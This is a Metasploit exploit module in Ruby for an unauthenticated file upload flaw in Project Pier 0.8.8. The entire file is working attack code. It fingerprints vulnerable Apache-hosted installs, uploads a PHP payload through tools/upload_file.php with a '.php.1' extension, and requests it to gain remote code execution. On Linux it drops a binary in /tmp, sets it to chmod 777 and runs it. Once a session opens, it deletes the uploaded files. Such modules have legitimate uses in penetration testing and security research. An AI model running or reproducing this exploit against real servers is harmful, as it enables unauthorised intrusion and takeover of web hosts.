##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Project Pier Arbitrary File Upload Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in Project Pier.  The application's
				uploading tool does not require any authentication, which allows a malicious user
				to upload an arbitrary file onto the web server, and then cause remote code
				execution by simply requesting it. This module is known to work against Apache
				servers due to the way it handles an extension name, but the vulnerability may
				not be exploitable on others.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'BlackHawk',
					'sinn3r'
				],
			'References'     =>
				[
					['OSVDB', '85881'],
					['URL', 'http://packetstormsecurity.org/files/117070/ProjectPier-0.8.8-Shell-Upload.html']
				],
			'Platform'       => ['linux', 'php'],
			'Targets'        =>
				[
					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
					[ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
				],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'DisclosureDate' => "Oct 8 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The path to the web application', '/pp088/'])
			], self.class)
	end


	def check
		target_uri.path << '/' if target_uri.path[-1,1] != '/'
		base = File.dirname("#{target_uri.path}.")

		res = send_request_cgi(
			{
				'method' => 'GET',
				'uri'    => "#{base}/index.php",
				'vars_get' =>
					{
						'c' => 'access',
						'a' => 'login'
					}
			})

		if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and res.headers['Server'] =~ /^Apache/
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end

	def get_write_exec_payload(fname, data)
		p = Rex::Text.encode_base64(generate_payload_exe)
		php = %Q|
		<?php
		$f = fopen("#{fname}", "wb");
		fwrite($f, base64_decode("#{p}"));
		fclose($f);
		exec("chmod 777 #{fname}");
		exec("#{fname}");
		?>
		|
		php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
		return php
	end

	def on_new_session(cli)
		if cli.type == "meterpreter"
			cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
		end

		@clean_files.each do |f|
			print_debug("#{@peer} - Removing: #{f}")
			begin
				if cli.type == 'meterpreter'
					cli.fs.file.rm(f)
				else
					cli.shell_command_token("rm #{f}")
				end
				print_debug("File removed: #{f}")
			rescue ::Exception => e
				print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
			end
		end
	end

	def upload_php(base, fname, php_payload, folder_name)
		data = Rex::MIME::Message.new
		data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
		data.add_part(php_payload, nil, nil, "form-data; name=file; filename=\"#{fname}\"")
		data.add_part('', nil, nil, 'form-data; name="part"')
		data.add_part('Submit', nil, nil, 'form-data; name="submit"')

		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => "#{base}/tools/upload_file.php",
			'ctype'   => "multipart/form-data; boundary=#{data.bound}",
			'data'    => post_data
		})

		return res.body if res
	end

	def exec_php(base, body)
		# Body example:
		# 0 ./upload/test/test.txt-0001
		uri = body.scan(/(\/.+$)/).flatten[0]
		@clean_files << File.basename(uri)

		res = send_request_raw({'uri' => "#{base}/tools#{uri}"})

		if res and res.code == 404
			print_error("#{@peer} - The upload most likely failed")
			return
		end

		handler
	end

	def exploit
		@peer = "#{rhost}:#{rport}"

		target_uri.path << '/' if target_uri.path[-1,1] != '/'
		base = File.dirname("#{target_uri.path}.")

		folder_name = Rex::Text.rand_text_alpha(4)
		php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
		@clean_files = []

		case target['Platform']
		when 'php'
			p = "<?php #{payload.encoded} ?>"
		when 'linux'
			bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
			@clean_files << bin_name
			bin = generate_payload_exe
			p = get_write_exec_payload("/tmp/#{bin_name}", bin)
		end

		print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
		res = upload_php(base, php_fname, p, folder_name)

		if not res
			print_error("#{@peer} - No response from server")
			return
		end

		print_status("#{@peer} - Executing '#{php_fname}'...")
		exec_php(base, res)
	end
end